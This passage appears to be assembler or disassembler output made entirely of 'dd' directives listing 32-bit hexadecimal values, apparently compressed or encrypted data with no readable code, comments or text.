		dd 0B1BD84EEh, 4BF7FA0h, 6549D9A7h, 0A2EAF36Ah,	0BAFA3018h
		dd 0F06D3C07h, 599D08Bh, 2ED2552Bh, 69A18259h, 0E497D218h
		dd 8D62B3F3h, 199B298Dh, 5A7218Bh, 74291444h, 6F37D025h
		dd 6A184700h, 0AD698B1h, 0D5563420h, 76509E7h, 0EA046F46h
		dd 56533BCCh, 1FB53D81h, 6342F322h, 19A29343h, 56D8630h
		dd 735DE762h, 509788E9h, 56EE2000h, 0CABF92DFh,	5CB2F249h
		dd 2F4E91ADh, 1C2360h, 0F06F71B2h, 9202F366h, 0BD01256Bh
		dd 0B9D45085h, 1FD9F127h, 9E5ED9C8h, 4013DC8Dh,	6042202h
		dd 560930D9h, 25E12702h, 0A33E5A05h, 72041423h,	0AE2870Fh
		dd 2D719508h, 1520A528h, 32504A0Dh, 0C3F72917h,	0D827247Ah
		dd 4B00DEDDh, 90D9AE6h,	2889BE98h, 5E9A53FCh, 3394F55h
		dd 431DBA7Ch, 20067650h, 16FB8110h, 83BA5BC0h, 7059281Dh
		dd 69CECBF7h, 0B921CF78h, 5B21D00h, 55E0C450h, 606A0423h
		dd 1F2D9FCCh, 0CBDAC7h,	92383331h, 3F038FF2h, 0BCC13093h
		dd 0A84E690Dh, 990054ECh, 0D2D984F2h, 0E723F0h,	0DDEC6EB4h
		dd 4EFBA50Bh, 61F0FD7Dh, 8501500Ah, 0A4B0AED9h,	0C7E9C280h
		dd 668F50Ah, 0F924C318h, 0DE8F53h, 965D704Eh, 0E102796Bh
		dd 4AB9932Ch, 7176009h,	11148D7Bh, 0FA041F95h, 0BA0C3115h
		dd 0D62A92Ah, 670B7516h, 601DC405h, 7F61735h, 0A87A3F60h
		dd 830C159Fh, 0B6E4C181h, 0ED401FA2h, 2556900h,	5F25A25h
		dd 0D5F819C7h, 6355995Ch, 0E5E60A60h, 7200FF30h, 2776D22Fh
		dd 13770DBh, 0E1CB9BD3h, 6471BD2Bh, 70B35F63h, 0DEAE24h
		dd 6634706Fh, 0E98D638Fh, 102E3725h, 7B5B267Fh,	0D1F92477h
		dd 0F257C60Fh, 0D51BE124h, 0E6184042h, 46730256h, 526D6CB0h
		dd 822DB9E9h, 1185C72Bh, 0A5CC5113h, 1A916017h,	0B1157180h
		dd 0D4268AD1h, 0C90B2436h, 44DF9E2Fh, 0B9066625h, 8C3D9B2Ah
		dd 5BAEA013h, 84549E01h, 306D8Dh, 0AAA9D281h, 6178249Ah
		dd 0B70F60A4h, 98543DC8h, 80883A21h, 363CEDF2h,	51F804D6h
		dd 1B811304h, 263CCAB7h, 0C18F9CDh, 4109D29Eh, 82E442BDh
		dd 670FB680h, 0BC6E2FBh, 0BC6083Fh, 40FBB25Ch, 8D133303h
		dd 80D40C1Dh, 19889E8Eh, 632BB7C0h, 5A72EC89h, 4E2422F9h
		dd 14F191D9h, 0AAC4D218h, 0D122661h, 41AB4952h,	190FD946h
		dd 0C247A021h, 0B9E94EAFh, 202EF517h, 4A36BA13h, 1482FFEh
		dd 0DE02206Dh, 294A20AEh, 47C7D1DEh, 69415F6Ah,	23D2E909h
		dd 0ED33C3Ah, 22FFF19Ch, 98A9BD0Bh, 91A6B5B8h, 7DDF813h
		dd 7DDC28Fh, 0EFFC1217h, 0EEF99CC8h, 660C9481h,	0B79590FBh
		dd 0E3B404B5h, 0C5DA8196h, 0A30C0520h, 0A4805D02h, 952B0CEBh
		dd 85A509CDh, 0CC82F9E2h, 9C895812h, 0E222E2Dh,	0CC0AFB7Dh
		dd 32967260h, 97C97A75h, 7C01C326h, 0DD2D1151h,	204E06F7h
		dd 11961719h, 0A3F54D1Eh, 4C622AB4h, 0DF002B9Fh, 796EEBA7h
		dd 4058612Fh, 1C2D1563h, 0BA668045h, 646A3145h,	0F1156C34h
		dd 413D7806h, 0BD70FE13h, 4C1FDD6Ah, 82040713h,	8C400168h
		dd 4C3F6DBh, 2645890h, 8D82C619h, 68560008h, 0A831B852h
		dd 0C2D5E9Ch, 3B4E7241h, 6A166732h, 10ED0804h, 8164B73Bh
		dd 8AF0BADCh, 68472D10h, 18AC9B08h, 414F3ECh, 841EF08Bh
		dd 0E483684Fh, 213CDE2Fh, 44CA2B25h, 0C07DEC1Ah, 0C2562835h
		dd 75C08518h, 68417598h, 8764980Ah, 10D32ADBh, 0A0FC09D0h
		dd 72A4684Ch, 208056E7h, 279D8B85h, 45BE288h, 0F5550C50h
		dd 15B0C254h, 9E9103C7h, 0C43083Bh, 7D26B002h, 85801434h
		dd 0AA0958EDh, 53021AA4h, 49B53419h, 28174491h,	6804456Dh
		dd 92A5F797h, 39296504h, 0C02679Ah, 32752EB0h, 0C0DA66A6h
		dd 234E35A1h, 0C9E32C0Ch, 661CF046h, 81C3FB8Bh,	0F7792E9h
		dd 172E84B0h, 4784F5C9h, 0BA95404h, 64505EBEh, 6119006Fh
		dd 8ED385EEh, 0F7002D1Ch
		dd 0C50D9EC8h, 2175899h, 64445563h, 668C35FFh, 8A3EEA6Ch
		dd 36892E4Ah, 2C9B174Eh, 0A0F5C081h, 0CBFA302Fh, 0C92EC098h
		dd 3A64660Ch, 85F5BA40h, 24C46FAAh, 481301CDh, 57872842h
		dd 9F4805Ah, 0D19FEEE8h, 7F344A19h, 123192C3h, 49AAE969h
		dd 5E89563Bh, 5912E972h, 0F2A0DB33h, 0C0C0832Dh, 71A28D0Fh
		dd 0A040BE27h, 640B073Fh, 96A08F4Ch, 608880ABh,	1F04E681h
		dd 6152E538h, 71D78C1h,	0FFFB8300h, 0B110E6C8h,	91112180h
		dd 0BF035499h, 5298F137h, 2B5AA1D3h, 1B23322Fh,	94B12E00h
		dd 2A7FB5Ch, 89532C37h,	0ED0458Dh, 91E85F29h, 0BEA2E200h
		dd 1076853h, 0CD5DB9BAh, 838B5F24h, 81C70C60h, 0FF2D33A4h
		dd 0B8D38303h, 97041528h, 5C8BC318h, 0E1E85530h, 0ED815D10h
		dd 1453A649h, 501B838Bh, 2F409C5Fh, 5D0CA989h, 0E7F82742h
		dd 601644B7h, 0A13315EBh, 0C233C1E7h, 0A3849C35h, 3019A2D9h
		dd 0F2049FA5h, 506E595Ah, 18F2F2B2h, 0AC25E033h, 0C5A1507Bh
		dd 4839EFD5h, 0A7E7F18Fh, 0EF41B0AEh, 179BA31h,	0E35DD70Bh
		dd 683C8149h, 0D227C687h, 1ADDE862h, 0FE2D30Ah,	0B906828Eh
		dd 4B8200Ah, 480055D7h,	0F7816405h, 165BB0Dh, 0BA8685D4h
		dd 2F34B640h, 5FE83006h, 0ED770Ch, 4D5868FBh, 0C70A7556h
		dd 76340894h, 8A4EE489h, 10414558h, 448D9960h, 1B80906h
		dd 0E7C8084Eh, 0F6D75CB7h, 4423DFCh, 8824F110h,	20875EB9h
		dd 0C1A45A08h, 4809880Fh, 34489ABh, 51E62680h, 88BA21BDh
		dd 8B8C028Ah, 55E9A8D3h, 6FB88247h, 392E310Eh, 115306Eh
		dd 780045B8h, 74706563h, 396E6F69h, 66BB4920h, 616D720Ah
		dd 3CA2280Ch, 73B9656Ch, 63202C8Ch, 0D7F37418h,	68AF8E9Fh
		dd 1F731FBFh, 59771F66h, 0F1641272h, 0F56CF976h, 73DBE770h
		dd 0A26977D9h, 76CD1D34h, 1C8D266Ch, 8E67676Eh,	0EB2E7340h
		dd 0AF728F54h, 0AF79AF6Bh, 0D0A6675h, 14CFF04h,	80706628h
		dd 43076E73h, 2B4C5254h, 28EBFB5Fh, 0F2466978h,	187ADB64h
		dd 702A7BA6h, 6C3C0879h, 0E262BF69h, 882964DAh,	561A4236h
		dd 0FBA613DFh, 0CE25FB3Dh, 0E843601Eh, 4E496B63h, 1C640FA9h
		dd 5455234Fh, 6F725087h, 0F211DFAh, 0F193B6Dh, 0B61AF304h
		dd 850F1C3Dh, 50A5BC1Eh, 1E5308F5h, 22E158E9h, 4E982A51h
		dd 0A2012D2Fh, 6A27103h, 0DB220E50h, 5CB7BAA1h,	81364E80h
		dd 2D142427h, 28191730h, 89B10737h, 8BEF1632h, 717B0224h
		dd 0F1C911A2h, 21254A14h, 0A201C23Bh, 0E2471035h, 4F90354Eh
		dd 90356CE2h, 3555E24Bh, 5DE23F90h, 0E2439035h,	0C231564h
		dd 1E2FF108h, 420BACE9h, 0FBECA5BDh, 0CD0D9554h, 85160142h
		dd 69713111h, 0C2810031h, 0E91C40F8h, 8D230F62h, 0C44F195h
		dd 40283452h, 3BD4C30Ch, 0B40FA289h, 8676BBA1h,	548B5544h
		dd 5EC3139Dh, 6559144Ch, 508811D1h, 543C3B44h, 0C8474384h
		dd 3C4B4458h, 3F45845Ch, 567DDC4Ah, 6888AF0Dh, 5AA4CDA0h
		dd 64430CC8h, 194B323Fh, 863B0C47h, 0A423745h, 521C4C31h
		dd 0DD080769h, 6281420h, 0D5123930h, 656A24C4h,	2D532440h
		dd 0DEF72D19h, 0D9A60112h, 0ACEBC11Dh, 0E92CD49Bh, 6092D00Bh
		dd 4E195887h, 33FD2057h, 4C26119h, 7B28E634h, 8146032h
		dd 0D12AF604h, 0C324984Fh, 21F860E9h, 3435B58Bh, 0E6818EC7h
		dd 9518F006h, 29E86291h, 0C6811354h, 0B53B58D0h, 0F39C339h
		dd 5176E986h, 0B9D8203Ch, 6FCFB022h, 0B8C6650h,	0A0324C8h
		dd 1F84C485h, 907DA72Ah, 91858BC8h, 1886034Dh, 0AABFDB0Ah
		dd 38952C67h, 240432F6h, 572BCFC6h, 4108CAC1h, 7034DE1h
		dd 4C010FB1h, 0D170FEF1h, 531C25C0h, 896622A3h,	915FCDBh
		dd 0CA535B02h, 82E84C09h, 8435138h, 5389BBE0h, 80CBEF83h
		dd 0C31A03E3h, 174B3884h, 8BC79D76h, 0B16C0DF1h, 8AE6446Eh
		dd 8945C598h, 181E065Fh, 95245A39h, 29012333h, 91A25BBDh
		dd 806009A3h, 31EA243Eh, 0B7A1BB40h, 0B01C763Ah, 10A7B101h
		dd 0E8AACF7h, 32C302C8h, 0AACBD140h, 40C8D20Bh,	0A4A8C01h
		dd 0E56D85E4h, 0C4462367h, 5210A011h, 57D4398Bh, 33087A82h
		dd 2181E9C0h, 0C23F80AAh, 5A5F8DB0h, 5153BCA8h,	4932566Eh
		dd 1E9CF1DBh, 0D1D880ACh, 0BCC381D3h, 37465A1Bh, 49A3CFB0h
		dd 0E897220Bh, 5EC38B07h, 60455B59h, 5FE27B35h,	2AEAAC32h
		dd 0C04077B4h, 0DF438EE7h, 32D80F50h, 293C04A8h, 31DAD499h
		dd 9577280Bh, 858F8360h, 642148DEh, 7C06D628h, 388988BDh
		dd 3F23E935h, 8B1F3AF3h, 17058040h, 899B46F3h, 148621A4h
		dd 46AB3C7Fh, 30F31E28h, 1AAE22F9h, 296987E9h, 727604DFh
		dd 0C7A4D80h, 0CAB20BB8h, 7959A945h, 30061C38h,	46C8D180h
		dd 290FF73Bh, 208DF182h, 280852EAh, 28524CF6h, 5156E028h
		dd 80139053h, 930C4A2Ch, 2D3C0A67h, 0A11C9h, 13349804h
		dd 24C1D832h, 2B1C08C3h, 141CA867h, 375E595Bh, 42669840h
		dd 30DD1736h, 0A28E8122h, 1108950Ch, 403D0CB6h,	0F2D602Ch
		dd 0B9B7108Ch, 8B5B131Ch, 0F4CD30C0h, 10E9556h,	0C26A37F5h
		dd 717CCC73h, 35DCF370h, 40B666E6h, 64741797h, 884F6317h
		dd 1D66839Dh, 0ECF73BAh, 4D8DEE81h, 0E2BEECBEh,	0F428755Ah
		dd 0E9F9880Bh, 0B9654Dh, 87636CBEh, 1ADF8C59h, 0BCC7F766h
		dd 2553E806h, 7ECE60C0h, 0F447B9BCh, 2496BF4Dh,	0CA4A4A43h
		dd 0C715C882h, 0CA68FCDCh, 0E96E3D1Fh, 45F67DF4h, 40BD3DE1h
		dd 6B74BF84h, 0FF2B0D00h, 98B55CB9h, 0EAC5A337h, 7E80EA39h
		dd 0DB5240B2h, 0A87CABB0h, 7082C001h, 2F14FCC1h, 0A2CB546h
		dd 241C895Ah, 154674DCh, 0FCB4E03h, 0EA0BC9BFh,	8BC62CD9h
		dd 24B7913h, 3D4FA6D1h,	53E35D3h, 37BD3348h, 0B59007E2h
		dd 0B78C1AB8h, 0C48A42B3h, 465E975Ch, 77700016h, 1CDFCE4h
		dd 0B7BFEBh, 3F8F459Fh,	0B19EA31Eh, 0D68BC964h,	0E8B26968h
		dd 0C60FF146h, 3CDBEB22h, 511E80FAh, 6CB7BECFh,	5A7C2CFCh
		dd 0F0E4674Fh, 25B07523h, 98ABC01Ch, 2DD200FDh,	0C2B82DDh
		dd 0DC84800Bh, 467CB2BCh, 23DC0018h, 53A9C0B3h,	0F18B0966h
		dd 0CC98615Ah, 2F059D03h, 5B8DF5B7h, 72AF5081h,	2BE9F20h
		dd 24E01AE1h, 42BD01B8h, 73B7BD01h, 33201B5Fh, 0E7FF2CD7h
		dd 575E60FFh, 3800C841h, 0BAB8151h, 0F45839Bh, 824DFA0Dh
		dd 100282F2h, 0F8017F1h, 0FE0140B6h, 17B081C8h,	28B125Ah
		dd 541EC25Fh, 1204DCBBh, 1EB63C3Fh, 1488458Eh, 72B2F6C0h
		dd 78419361h, 0C2072B18h, 6F9EDAE0h, 8BB0DEA5h,	890A5B88h
		dd 0C5F1785Bh, 289E384Eh, 0DE989AD6h, 247C7A61h, 42466540h
		dd 6110005Fh, 6CC05047h, 5101929Dh, 4F11E3BAh, 18625E1Dh
		dd 939CF71Dh, 0E590AFC2h, 1AC97F4h, 2ED02C8Dh, 0FC54DE78h
		dd 343F04C1h, 0F98A921Ah, 58DF7405h, 540531C2h,	0C7E2475Dh
		dd 91C0419Dh, 0D4600259h, 0D144476Ah, 80EBA920h, 0B70FD4B0h
		dd 496861FBh, 81000C34h, 8966C4E3h, 20C05E5Bh, 6030FFC8h
		dd 0F874C2F5h, 0F9C65F61h, 0B0BCEE00h, 0DCED1942h, 9BEC008Ch
		dd 0CAEF81B2h, 777779A3h, 0C7042878h, 3C2E1344h, 5ACE7681h
		dd 3DEF7E8h, 807A485Bh,	41EF43CAh, 0C08FBBCFh, 8305D78Bh
		dd 4EF804E8h, 28187282h, 0C98D8067h, 0B42146C2h, 0B0F5F03Eh
		dd 0B811B24h, 3BDE1409h, 0F3028BB3h, 97E995BCh,	0FDEA93E8h
		dd 0A5EC5600h, 69EBA836h, 0E72B1F1Bh, 53BCC00Ch, 0B82E1046h
		dd 93E3BB02h, 8EEC64B5h
		dd 113CAC04h, 0E5120055h, 36807194h, 0A238345Eh, 993B800Fh
		dd 0D9B7A7EAh, 4D3A006Eh, 0AE0EEE4Fh, 943763DBh, 0AC8040A5h
		dd 64E613Eh, 2566DDC1h,	161E287Dh, 40709503h, 5017E564h
		dd 0E83A38B1h, 352B0002h, 45B7A803h, 0C000D843h, 2E7A34A7h
		dd 0D53832h, 0CCE54EFh,	0D09A6244h, 630AB900h, 0DD6B3319h
		dd 912C4C99h, 5EA8BF00h, 3EA5D22Bh, 0B3866305h,	440C7EDBh
		dd 18755179h, 3166E12Ch, 2B191129h, 0DDA0D8C9h,	1FB0CDE4h
		dd 3F0CEE50h, 0E118EC37h, 0B5696Eh, 401D3AD9h, 0C40013E4h
		dd 37F56DDBh, 52790B03h, 521894E8h, 0E602307Ch,	8531DD78h
		dd 3B10108Eh, 0DFAB6520h, 0AD950870h, 0CCA4F53Eh, 86C9048Dh
		dd 18109805h, 18BABC43h, 6950D16Bh, 154CCE94h, 3CC105BAh
		dd 8000C26Dh, 0A9795B43h, 3B6C1934h, 8692924h, 0C7544427h
		dd 9FFBF98Bh, 1537E8h, 303D0DBAh, 4423E553h, 6C006B77h
		dd 5F4C805Eh, 7929A546h, 84881CD3h, 52F1800Ah, 0B0D99BA2h
		dd 0D5C1930Bh, 0F6AF0001h, 28A694Ch, 517AD1C6h,	24C0D275h
		dd 3100D3ABh, 14F6AF3Fh, 62A4996h, 27A7E504h, 23FE7841h
		dd 0BBA35200h, 3893C5D5h, 0BE3B0013h, 87225764h, 7E2A995Fh
		dd 9498904Ch, 0B4241900h, 91145598h, 807D038Dh,	894D1507h
		dd 0A4A228C8h, 0ED29A8A8h, 0C6266D00h, 0EA33AB13h, 3C1F2FFh
		dd 0BEA28760h, 0B1D69368h, 1A1BD300h, 12E73BD2h, 0FFE10042h
		dd 0C39B90E6h, 5A00FADFh, 5CF0ECBAh, 3ACFA2h, 0B423E3C9h
		dd 0ADA96718h, 8C1C7738h, 0C876104Bh, 262F0184h, 0CE7EB1A4h
		dd 0B6A6D494h, 2C120100h, 7DF87B9h, 0C7250032h,	75EEFA4Ch
		dd 8803D6EDh, 6C3A8D1Dh, 7EA3F05Bh, 0E3B300B0h,	6F80E08Ah
		dd 0FA379993h, 9D807820h, 90834Ah, 0CD17C957h, 0C5B8DB30h
		dd 4F07AC78h, 0ED36CEE9h, 83CC9A30h, 0C346008Fh, 0F9ABDA75h
		dd 0D9729155h, 86C4DE2Eh, 0DD5E7D01h, 4824CA77h, 5714006Fh
		dd 0C7894C4Bh, 35241290h, 0D90AF19Bh, 811EA05Fh, 6C51C502h
		dd 675D408Ah, 44010013h, 251449E4h, 0C9B06E56h,	0A8EFC106h
		dd 3A589708h, 787F61h, 0BF8C75C8h, 986550B3h, 0EA3FE4E3h
		dd 54A20601h, 2BBBD7C7h, 5AAB40C6h, 0ED07003Ch,	0E69D123Fh
		dd 0B11E7269h, 2E40DC4Ah, 9EBF108Fh, 256D040Bh,	80B3F202h
		dd 38585300h, 8A9CFB3Eh, 0D8573667h, 41D39800h,	0C77C2CEEh
		dd 0A0F91911h, 5B7E673Bh, 65045A00h, 9D267B97h,	3558244Dh
		dd 0D5628638h, 9F2028D2h, 0BCA53C77h, 875D8680h, 0DDE116B2h
		dd 40123900h, 3C254D5Eh, 7A930069h, 2919D7EBh, 8AEC6D4Ah
		dd 50F8FB0Ch, 0F859DEABh, 0EC6C0C45h, 34F85617h, 0D002C101h
		dd 0E9DC9807h, 4BC4C840h, 0A64F0731h, 0A071E426h, 0F67F0173h
		dd 96F98B00h, 0B78E6CDEh, 1C987AE1h, 80CEFDD9h,	0E6A794F2h
		dd 0F312A808h, 41072332h, 6B70C153h, 11D930h, 3FF203E9h
		dd 0D1B7C9CFh, 0C23D1D01h, 54E19498h, 0C8D5F187h, 0C3B4C0B3h
		dd 7E747A5Eh, 6EE29400h, 64AC4814h, 77EB4858h, 0FB867F01h
		dd 0F413E86Ah, 8E000540h, 0B1DDE5EFh, 1DBA9D9Ah, 0C7811F78h
		dd 8E1935F6h, 0B91C6E40h, 0B4016515h, 0F5532443h, 35C40BD6h
		dd 8B980195h, 0A7C184D9h, 0E48731CAh, 7B03D7AFh, 0B807E02Ch
		dd 2BC0A5F0h, 62CA9CC4h, 0B4101984h, 0C5079C46h, 21C67974h
		dd 1CFCE470h, 2C9200FBh, 0AF7D57Ah, 440F6025h, 0A0492832h
		dd 0A7F3C811h, 7F5F89Fh, 7698804Fh, 56AD9010h, 0C000D260h
		dd 0C257557Eh, 17F873DBh, 9B606A1h, 4A0C507Fh, 5F01AC21h
		dd 36F10349h, 688EF825h, 0CC40DD04h, 0CA8EE0D4h, 0AB649000h
		dd 5F50B4ADh, 1A820076h, 0F3EC5248h, 0DC003721h, 0F8570DF1h
		dd 2C1B11B3h, 41E77Dh, 0ECE4CE38h, 0D307348Ah, 36E9E06Bh
		dd 5EDF408Eh, 752839h, 0D9A0F866h, 0E1430398h, 0D553F307h
		dd 0C520AAC6h, 9802F7EDh, 3E3DFA20h, 0DC4C6569h, 1A765600h
		dd 8501492Eh, 0F77B4C00h, 7317635Bh, 266F0BDCh,	0EB011EE0h
		dd 8076B474h, 98E53318h, 7B37067h, 3B6F8355h, 3062272Ah
		dd 375849C4h, 65421307h, 0E3702990h, 8BB1A6h, 0FEE527A9h
		dd 6CE81D09h, 30815900h, 6DC9BE69h, 289ECECh, 80CE487Fh
		dd 0B2408FE1h, 0F200646Eh, 3E4A1ECBh, 0A0FC74h,	6D5AEDFAh
		dd 65350F11h, 64D8D426h, 383C0EBAh, 0CC676227h,	724CA7Ch
		dd 9280399Ch, 3FC3FBDh,	0D3CF36DBh, 0B8A80944h,	0B11E67B0h
		dd 0DE8058BCh, 924B085Eh, 7131DC5h, 9E9246h, 3309659Ch
		dd 0E43D86BFh, 1FD500CAh, 1DE062D7h, 15BF61Eh, 7788E8C2h
		dd 2081B28Dh, 2A0232F2h, 2DE4C27h, 0BD976154h, 0A258C8E6h
		dd 727900B9h, 5D1694C6h, 2D03A3EFh, 47FF1A56h, 0D6D480ACh
		dd 0E623009Ch, 0E439FCE3h, 401EE4Ch, 0DEE83C37h, 0FBD42211h
		dd 12A07825h, 19AD6Dh, 0EB132AC8h, 0D1044535h, 954978F3h
		dd 0B98EE080h, 63D3005Dh, 0CDDE59BFh, 7009CE98h, 80C53E0Ah
		dd 0BB763513h, 567B2EE2h, 1C2D8154h, 0F81808BFh, 50EEEE5Ah
		dd 84457300h, 4C1D0B63h, 2C20007Eh, 8A05A6BFh, 0E8008CF3h
		dd 0D1A3AA64h, 0BBC1B2h, 0E1B39139h, 5FF0A1F5h,	220925Ch
		dd 0ADB1E6EAh, 7588A0B2h, 53D4D8h, 481B1680h, 0D2AEA5BFh
		dd 0CD3F7A00h, 0A32BB9C7h, 817B0765h, 605F7203h, 0B6470CF0h
		dd 8336143Ah, 0F4FF7D91h, 0D8ABE8E8h, 0C3C600CCh, 6AAE1F9Dh
		dd 0C4184798h, 0C704F6Eh, 9C803AA2h, 0F061D609h, 0C30C2029h
		dd 0BA4C1AF9h, 920C1D05h, 0B314C406h, 18B27C39h, 0B9B9F06Bh
		dd 100B702Eh, 8F681342h, 95B100C8h, 9260D214h, 3C0FF640h
		dd 102836B8h, 39C1B530h, 0DF2187E2h, 31ACFBB7h,	0D220065h
		dd 90610A8Ch, 63061599h, 0EFA536F5h, 0D56900A9h, 0B7E7DFB9h
		dd 8D98DB61h, 4EDD6A05h, 3C05FB15h, 68482EE5h, 97833E92h
		dd 89033767h, 8A3C09D0h, 0B4B82560h, 22CC60A1h,	441F15CEh
		dd 80408861h, 0DB8189E9h, 0E88DE2B7h, 0F4150C1Dh, 3E28EBACh
		dd 352613Fh, 34CD7D57h,	3992E0ADh, 6B49C04Eh, 0D7B08FB2h
		dd 0EE60DE50h, 80A948CFh, 0AEE01A2Ch, 347B00F6h, 0D880420Dh
		dd 88A0F374h, 7C00F416h, 973A92A3h, 30C10334h, 0A70842BDh
		dd 5DE2C271h, 4BEEEC2Eh, 609A580Ch, 0B81B3043h,	23626BF8h
		dd 9209E0D3h, 639440F5h, 80F28B58h, 21A06C01h, 84D12990h
		dd 0F4859EAh, 241F6A42h, 0E4805EE5h, 3F4E2728h,	0BB4A003Ch
		dd 9E57394Bh, 6E00D123h, 90068486h, 0BBF60F9h, 0A666D5B1h
		dd 0EEEB700Eh, 0DACC6800h, 99098EFAh, 800BF9BAh, 0C111D815h
		dd 5F6200ABh, 37EABD2Ch, 0B979926Fh, 541A732Eh,	0B07B4D80h
		dd 42E3B39h, 61F2A3C1h,	0E880C00Ch, 0D809A533h,	80942DEDh
		dd 0BEA9E960h, 9CCE0CB2h, 82405DF7h, 307C70EDh,	9755E40h
		dd 5C50EEC8h, 0D9D48080h, 42C94B9h, 351F80C7h, 56DEFEC5h
		dd 2E2C9CC0h, 13C61321h, 81CE4h, 30E5EC8Fh, 0E100BB9Ch
		dd 22DBCD0Eh, 3AA818B4h, 2CDD736Ah, 0A7B96904h,	0C4C0A1C9h
		dd 67007DFDh, 0E0D7759Dh, 6007FAF8h, 2ADF217Bh,	21209374h
		dd 20860099h, 9DE21C22h, 3B00EFCFh, 1D429B3Eh, 0B28AD0h
		dd 91FE80BBh, 969EF958h, 0FF13251Dh, 800A670Fh,	0A51A7798h
		dd 746107CEh, 27E258BFh, 0BBB1A069h, 4076B1Bh, 79D323B6h
		dd 6086E765h, 69BD00F8h, 51F6EA59h, 4B4B05A8h, 0AB09D81Fh
		dd 0C42707CFh, 0DF40FEFEh, 0F3D39503h, 0DBAC009Bh, 2EFBB00Eh
		dd 0DA027537h, 35581D22h
		dd 42FDE01Ah, 0A94C1732h, 85F40020h, 95CF6112h,	5A0E9098h
		dd 9F7B4276h, 0F849700Ah, 7E6BD180h, 940D2ADEh,	4D170064h
		dd 0AA06E73Ah, 0EE7E6AF6h, 0ADD05950h, 7E5E48h,	6C56F218h
		dd 73DA70h, 4CD5775Fh, 67C99CE6h, 4B610401h, 0E3A672EEh
		dd 1C311420h, 40E2F0DBh, 3CBF9268h, 1C03FDF4h, 1E1AFB24h
		dd 3498803Dh, 8F70010h,	0F1D73035h, 970205E1h, 5F3A8D04h
		dd 0E848C119h, 45F820h,	0A2F278CDh, 338B5C2Ch, 0DD029102h
		dd 50BBEA03h, 72BF03CCh, 2128DC66h, 5D6E52C0h, 484B8100h
		dd 0F9618A8Bh, 44F439C4h, 78876D00h, 63EB7BFCh,	9545D48h
		dd 80BAC7A8h, 214A7A97h, 3D10EC48h, 4300592Dh, 0C191AC04h
		dd 0E0021D80h, 6ACCDBC7h, 814A40ADh, 86C400D3h,	0FB079021h
		dd 7000737Dh, 6B2A28FFh, 3A5D7F91h, 3C85498Ah, 0C0AA03EFh
		dd 33FEE4FCh, 25E7260Ah, 0B02AC8ABh, 51B50900h,	49CF221Ch
		dd 1EC4904Eh, 0DDB66F69h, 4DAB00E7h, 0E03AFDD2h, 36226E00h
		dd 0DE875FBDh, 5E47386Ch, 92D80F26h, 12427F1h, 0DCE0A196h
		dd 4739F8AFh, 0FD10028h, 83386443h, 15B9076Ah, 0E5A46137h
		dd 8640C2CEh, 64F53860h, 299DA001h, 8E2434E6h, 7DA62C20h
		dd 5A7A00C2h, 787CEE6Eh, 0F24856F7h, 0B99E0FB4h, 5DBB205Eh
		dd 0F28988ABh, 40F62422h, 0B810028h, 0D71C77D3h, 4A54AA05h
		dd 0C01EF149h, 0E4A1B50Ah, 0DCBA9500h, 50AFC4BBh, 18F38048h
		dd 217F1E0Fh, 821834FBh, 88389FDDh, 0D63A002Ch,	7B5BEAFDh
		dd 0B6008067h, 7A6D4749h, 4D436Eh, 0EDA288F8h, 0E41C0557h
		dd 843DAA02h, 58B153C4h, 0A42C0098h, 0FF0EE668h, 0CE4097Bh
		dd 5E167900h, 462F10E4h, 50E445h, 717F20B9h, 8A662715h
		dd 0AF802C00h, 9B8C40A0h, 59CE01BAh, 44B39FBh, 81C030EBh
		dd 0DB196C0Fh, 0F6DF003Fh, 84EC01h, 9B755255h, 74C1A6BBh
		dd 2F251B00h, 93EA094Fh, 4A290032h, 2AC60FF7h, 0E701F0D6h
		dd 0FFE12682h, 0FBDBD4CDh, 0B80AD3F1h, 1339FDD5h, 0F50C2Fh
		dd 9FCFC37Ch, 19185EDCh, 0B5500DFEh, 83F89930h,	17B70C39h
		dd 7BB98000h, 0E669821Ch, 0C49825h, 9F45156Fh, 292BAF93h
		dd 488BEC00h, 3AA0E11h,	65C11CD6h, 8A6E80B2h, 885BB775h
		dd 7D03EC70h, 0C1792E05h, 8093CA5Ah, 0D47065B2h, 691F0020h
		dd 0E12B1445h, 50925D64h, 0A92CB801h, 27FE1537h, 0E8003C21h
		dd 92D6ADh, 9707027Ch, 0C48BB7D9h, 8477F200h, 64FF1DE1h
		dd 0CE5F07EFh, 71A74EA9h, 7062A441h, 2EC5A14h, 1C3EFA00h
		dd 6B67E49Fh, 3D7DB6h, 0B933D047h, 0AC255F5Ch, 853A7E75h
		dd 0A1C4A781h, 99664F2Ch, 42C3C4h, 0F57117EDh, 6AFB2035h
		dd 62AAB201h, 36634E2Ah, 60C4A452h, 4E762938h, 517C00E8h
		dd 8F1E01BCh, 19FC1200h, 0AE44582Fh, 960D004Ah,	0AC6B72DDh
		dd 6700E54Bh, 765BD8A3h, 8632B9h, 75EC756h, 0A0BCE3D1h
		dd 0E83D60C0h, 0C57224h, 2CF06F5Ch, 731EFE4h, 70D87630h
		dd 4B8C27F4h, 0B64C4F37h, 8E2C9A00h, 9700EB9Fh,	96DF352Eh
		dd 16588342h, 4433EF73h, 8067B4E4h, 0C8B99D4Ch,	0F8B759h
		dd 0FF69ED22h, 59C9A3F0h, 6F00F0EAh, 81A5A0CDh,	8004BED6h
		dd 0FD11A97Bh, 0A19C8480h, 47210085h, 5F353F3Ah, 6EE020DBh
		dd 1C38A700h, 0AFBCAE2Eh, 0ABD01BE0h, 19D150CDh, 0B0C1D4E3h
		dd 0EDC880FDh, 0F2BB996Dh, 0A95B00E6h, 0E6E45DAh, 641261B1h
		dd 0E000B08Ah, 0D3441D02h, 0DE0A38EBh, 73010E00h, 51276950h
		dd 0B546A3Ch, 9A4CF40h,	25740339h, 19E8E4Ah, 383688A0h
		dd 7078DA68h, 6C00B114h, 293311D9h, 0EE0D47h, 4C27318Ch
		dd 983C0BF7h, 7341F20Ch, 96929ECh, 80FE4B43h, 6D3E7480h
		dd 3772DC05h, 0D8020400h, 0DB2C8DE3h, 70CC005Dh, 0D422CBC0h
		dd 7602EB26h, 42B816FFh, 0C57C40B6h, 50C700A3h,	0B5E2BC90h
		dd 0FB39D7F4h, 93EB00CCh, 0A806E3A4h, 1F4600F3h, 147AD27Dh
		dd 1100ED60h, 4A3B492Ch, 118B144h, 2A6D69DCh, 3091E779h
		dd 7E7F52CCh, 8F007B46h, 9B31E6EDh, 362DF0BDh, 9C708019h
		dd 0F8DE97EFh, 0E9F100B6h, 40BCA460h, 4D1DDBC9h, 0CBC0211Dh
		dd 694720B7h, 0C3FD00A5h, 0D1E2F7A4h, 0B01D879h, 6ED0CBFEh
